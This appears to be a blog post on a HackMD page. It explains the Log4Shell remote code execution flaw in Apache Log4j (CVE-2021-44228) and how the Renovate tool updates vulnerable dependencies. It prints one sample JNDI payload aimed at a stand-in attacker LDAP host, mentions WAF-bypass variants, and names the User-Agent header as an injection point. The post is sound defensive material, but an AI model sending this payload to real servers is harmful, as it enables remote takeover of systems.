Sam Frankson
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # **Tackling the New Apache Log4j Vulnerability** ![](https://lh4.googleusercontent.com/KFvURCwq9AFqTiZKR7_bzoVEygc32ADu4v3fq4hxNhGzARhgQNVkrmlFhRRJzy02RyrzVxiNwZpl8KeYtkL4GmE39GYz8RtArDv8CRHCUw1pOuqOO5nN8PZYiL6QWKFQ6RXuatUc) <center> [Photo](https://unsplash.com/photos/zvHhKiVuR9M) by [Arget](https://unsplash.com/@arget?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on Unsplash </center> In this article, I will talk about the recently popular security vulnerability Log4j RCE (CVE-2021--44228) and how you can protect yourself using WhiteSource Renovate. To understand Log4j RCE, we first need to briefly understand what the Apache Log4j library is. So, let's get started. ## **What Is Apache Log4j?** Apache Log4j is a Java-based logging framework that provides logging of errors while hunting bugs in the development process of any software. Log4j is one of the preferred logging services for Java because it is both popular and easy to use. So, many of the big companies, such as Apple, Steam, Tesla, and Minecraft, use this product. ## **What Is Log4Shell?** ![](https://lh5.googleusercontent.com/2iRyP5uRtlPp96LfKYfWcK87lkojK03uKSsnttEwiOzncigqIazh7jobzYZxMOGc4I-oMgsTeCwGS0n8ZhEyOAbb586Pf8-Wi8mNqVoU_BqLZVnOXZ2bWMruTo9-bQInNh0rgZdA)<center> [Source](https://dev.to/nabbisen/apache-log4j-rce-vulnerability-cve-2021-44228-attack-trials-detected-h8c)</center> First, let's back up a little bit. The main reason why the Log4j framework has been so popular lately is that on December 9, 2021, a remote code execution vulnerability was found in the Log4j framework and named "Log4Shell" by the Alibaba Cloud security team. [Log4Shell](https://en.wikipedia.org/wiki/Log4Shell) basically allows attackers to execute code on the target vulnerable server remotely. This could potentially be called a takeover of the entire system. Now, many big companies using this product are vulnerable to this exploitation. The vulnerability was detected in Apple, Steam, and Minecraft, and it attracted a lot of attention. If we try to understand the vulnerability technically, CVE-2021--44228 is summarized by the National Vulnerability Database ([NVD](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)) as follows. "Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints."  If a hacker controls the log messages or log message parameters, they can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior was disabled by default, and from version 2.16.0, this function was completely removed. What makes CVE-2021--44228 particularly dangerous (10.0 Critical) is how easy it is to exploit. An attacker only needs to send a string to an endpoint with the vulnerable version of log4j. ## CVE-2021--44228: Log4Shell Analysis Let's take a look at the payload the attacker will use to understand the exploitation phase more easily. *A simple Log4Shell payload pattern looks like this: ${jndi:ldap://attacker.com/a* In addition, payload models can be diversified to bypass WAFs or firewalls. If you want to review more payloads, you can look at[ some GitHub repositories](https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words). ![](https://lh4.googleusercontent.com/Wr0ZSU7A_xPgMu9GV92kf1UQEYZkPj7ideegNt5VsxFqgcg1uEixD00MLSYvKGvkFKX2gNzNuw44nSlfUo9lpBfrgfxZ9I9QAf7Emng0d-5QwYf76kyq7Hb_-gP8viK-00U6lrB0) As can be seen in the above image, the payload basically consists of three units: **I) Java Naming and Directory Interface (JNDI):** It is an API (application programming interface) service that enables Java applications to find data and resources and communicate with services such as LDAP. The JNDI service also has another service known as SPI (service provider interface), which allows it to create and use various directory services. **II) Lightweight Directory Access Protocol (LDAP):** It is a type of communication protocol used to query any application running on TCP/IP and access directory information services. Java-based applications can use JNDI+LDAP services together to query and access data. So, LDAP can be preferred for information access from any server running on the remote machine. **III) Any server controlled by the attacker:** A server created by the attacker to use when communicating with the vulnerable server. (In some test scenarios, DNS logging services can be used to determine whether the target server is vulnerable.) ![](https://lh4.googleusercontent.com/k2hR63EHcHI0Kc5_CYPjGvDfIUR0zcdvjHSdKHJ1wolgNzdW58HVKvS0r45UTN_ogXGvUuUSKxKyc8xHDyFldLqIN1zDTRE4DXu4xU6vk1oiozLiz-OpfuCCBOLZUY4WPaE0RcXe)<center>Example vulnerable code by [Lunasec](https://www.lunasec.io/docs/blog/log4j-zero-day/)</center> After this stage, all the attacker will do is paste the malicious payload code to any input point to be logged and try to communicate with the server. There may be too many vulnerable entry points. One of them is User-Agent, which is one of the HTTP protocols. User-Agent is another way attackers often find success as User-Agent is the HTTP header where all contact information between the end user and web application is shared. This header contains user-specific details such as the user's operating system, browser application, and the versions. ## Tackling Log4Shell Using WhiteSource Renovate [WhiteSource Renovate](https://www.whitesourcesoftware.com/free-developer-tools/renovate/) is a free developer tool developed by WhiteSource. This tool was created to fix out-of-date dependencies in software projects. As every developer knows, a software project starts with all its dependencies being up to date, but loses this feature over time. Renovate can detect outdated dependencies in projects while also checking for the availability of new versions. In addition, it can create commits and merge/pull requests to show release notes. You can implant the application in your GitHub repository via the GitHub App or access the[ installation details](https://docs.renovatebot.com/getting-started/installing-onboarding/) as open source. If you have a GitHub repository, you can easily [implant](https://github.com/apps/renovate) the application into your repository. Now that I have given you a basic explanation of the WhiteSource Renovate tool, I can explain how you can protect yourself from the Log4Shell vulnerability by using this tool. ![](https://lh4.googleusercontent.com/61AjiQZqMWFlyNFCZ0ie6HQgSuSP_jMI63XjTa2ewYvlvBkvHjnnmEaixkSFH2ty3H-h2l1oCLGMwA35HbiC3fEdfSMc2QXDRtzldD8dac68i9E5uBNwgaLo_Dji8GYkc0-vU6G8) Having implemented the Renovate tool in our GitHub repository, let's examine the GitHub[ repository](https://github.com/whitesource/log4j-remediations) for Log4Shell. This repository contains hundreds of files preset by WhiteSource to be fixed to non-Log4Shell versions. To use this preset, add it to your Renovate. Your Renovate.json config file will look like this: ![](https://lh3.googleusercontent.com/OboSoZfZT5lH_ySjfawRin9Q0mL7-iWeWPuG5soyhRzLaHMOa5SSn8lNBCnPNo0r-SOJ2ZwZ6siKXb2nnLw-AUe3TSQFkbSjmWANjBsknSIR1Z30UcCNp7ym6B3GlOVFpWnO9WQm) For more details, you can check their Git repo for [Log4j remediations](https://github.com/whitesource/log4j-remediations) as well. ## Conclusion I hope this article about the Log4Shell vulnerability and some of the precautions that can be taken was helpful. That's all for now. Thanks for reading! Join me later for another write up!

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully